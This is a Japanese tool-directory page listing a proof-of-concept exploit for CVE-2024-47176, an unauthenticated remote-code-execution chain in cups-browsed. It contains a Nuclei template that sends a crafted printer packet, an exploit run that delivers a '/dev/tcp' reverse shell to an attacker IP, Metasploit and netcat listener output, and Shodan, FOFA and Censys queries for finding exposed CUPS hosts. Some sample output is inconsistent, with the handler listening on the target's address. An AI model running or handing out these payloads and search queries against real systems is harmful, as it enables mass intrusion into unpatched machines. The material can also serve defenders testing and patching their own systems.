Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-47176 — cups-browsed における未認証RCE(エクスプロイトおよびNucleiテンプレート) | Kitploit
ツール/GitHubGitHub/l0n3m4n/cve-2024-47176
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストレッドチーミング
GitHubl0n3m4n/cve-2024-47176

CVE-2024-47176

cups-browsed における未認証RCE(エクスプロイトおよびNucleiテンプレート)

リポジトリを見る
1711年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PoC: cups-browsed における未認証 RCE

Facebook X Medium Python Kali

📜 脆弱性情報

  • 公開日: 2024-09-26
  • 基本スコア: 5.3 (MEDIUM)
  • EPSS スコア: 0.06% 悪用される確率。
  • ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • 説明: CUPS は標準ベースのオープンソース印刷システムであり、cups-browsed には印刷サービスや共有プリンタの自動検出などのネットワーク印刷機能が含まれています。cups-browsed は INADDR_ANY:631 にバインドされるため、送信元を問わずすべてのパケットを信頼し、Get-Printer-Attributes IPP リクエストを攻撃者が制御する URL に送信させることができます。CVE-2024-47076、CVE-2024-47175、CVE-2024-47177 などの他の脆弱性と組み合わせると、攻撃者は認証なしで、悪意のあるプリンタへの印刷が行われた際に、リモートから対象マシン上で任意のコマンドを実行できます。

📚 目次

  • 📜 情報
  • 🛠️ インストール
  • ⚙️ 使用方法
  • 🔎 発見方法
  • 💁 参考リンク
  • 📢 免責事項

🛠️ インストール

root@kitploit:~
$ python3 -m venv venv && source venv/bin/activate
$ pip install zeroconf ippserver colorama
$ python3 CVE-2024-47176.py -h

💡 潜在的に脆弱なシステムは、以下のすべての条件を満たす必要があります:

  • 影響を受ける GNU/Linux ディストリビューション
  • ターゲットマシンに cups-browsed パッケージ(バージョン 2.0.1 以下)がインストールされている必要があります
  • cups-browsed サービスが起動/有効化されており、UDP ポート 631 で待ち受けている必要があります
  • サーバーが攻撃者からアクセス可能である必要があります(公開インターネットに露出 しているか、攻撃者が ローカルにネットワークアクセス している場合のいずれか)
  • これらの脆弱性の連鎖を悪用するには、攻撃者が作成した 悪意のあるプリンタサーバーから印刷するようにユーザーを騙す 必要があります。

Nmap 列挙

root@kitploit:~
$ sudo nmap -sV -p 631 --script=cups-info -Pn 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 15:45 PST
Nmap scan report for 192.168.1.100
Host is up (0.12s latency).

PORT    STATE SERVICE VERSION
631/tcp open  ipp     CUPS 2.0
|_http-server-header: CUPS/2.0 IPP/2.1
| cups-info: 
|   ads
|     DNS-SD Name: 
|     Location: epower
|     Model: Local Raw Printer
|     State: Idle
|_    Queue: 0 print jobs

Nuclei テンプレート

CVE-2024-47176.yml

root@kitploit:~
id: CVE-2024-47176

info:
  name: CUPS - Remote Code Execution
  author: princechaddha
  severity: high
  description: |
    CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
    Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
  reference:
    - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
    - https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
    - https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
    - https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
    - https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-47176
    cwe-id: CWE-1327
    epss-score: 0.00045
    epss-percentile: 0.14875
  metadata:
    verified: true
    shodan-query: "product:cups"
  tags: cve,cve2024,cups,udp,printer,oast,rce

javascript:
  - pre-condition: |
      isUDPPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      let printer_type = "00";
      let printer_state = "03";
      let printer_uri = `http://${oast}/printers/VulnPrinter`;
      let printer_location = "Office HQ";
      let printer_info = "Vulnerable Printer";
      let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
      packet.WriteString(message)
      let c = require("nuclei/net");
      let conn = c.Open('udp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());

    args:
      Host: "{{Host}}"
      Port: 631
      oast: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "natural-language"
          - "VulnPrinter"
        condition: and

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - 'User-Agent:\s?(.*)'
# digest: 4b0a00483046022100a5171b18bd80ce93e04aabb4b3b70b0131e0a961a3d07b5ba72a33a0fa6f8434022100ee5ee6b9e749abcd80184e2c8e67a76765d0bf4a6f0df976848f8949d02c96ab:922c64590222798bb761d5b6d8e72950

⚙️ 使用方法とエクスプロイト

cups-help

root@kitploit:~
$ python3 CVE-2024-47176.py -l 192.168.1.50 -s "Epson EcoTank L121" -p 631 -r rev.sh -t 192.168.1.100

2024-10-03 15:45:10 - INFO - Using reverse shell from file 'rev.sh': [bash -i >& /dev/tcp/192.168.1.50/443 0>&1 or backdoor.elf]
2024-10-03 15:45:10 - INFO - Registered printer service: Epson EcoTank L121
2024-10-03 15:45:10 - INFO - [+] Starting IPP server on 192.168.1.50:631...
2024-10-03 15:45:11 - INFO - Target connected, sending payload ...
Sending udp packet to 192.168.1.100:631...
2024-10-03 15:45:12 - INFO - Shutting down server...
2024-10-03 15:45:12 - INFO - Unregistered printer service: Epson EcoTank L121
2024-10-03 15:45:12 - INFO - Server closed.


# c2 and local listener
msf6 exploit(multi/handler) > exploit
...
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (175086 bytes) to 192.168.1.100
... 
meterpreter >

$ sudo rlwrap nc -lvnp 443
...

🔎 発見方法

  • Shodan: port:631 "CUPS" or product:CUPS version:<2.0.1
  • FOFA: port=631 && protocol=ipp && product=CUPS && version<2.0.1
  • CENYS: services.service_name="IPP" AND services.port=631 AND metadata.product="CUPS" AND metadata.version<"2.0.1"

💁 参考リンク

  • https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
  • https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
  • https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  • https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
  • https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
  • https://www.cups.org
  • https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I

📢 免責事項

このツールは教育および研究目的のみで提供されます。作成者は、このツールの誤用または損害について一切の責任を負いません。issue を作成

ツールをダウンロード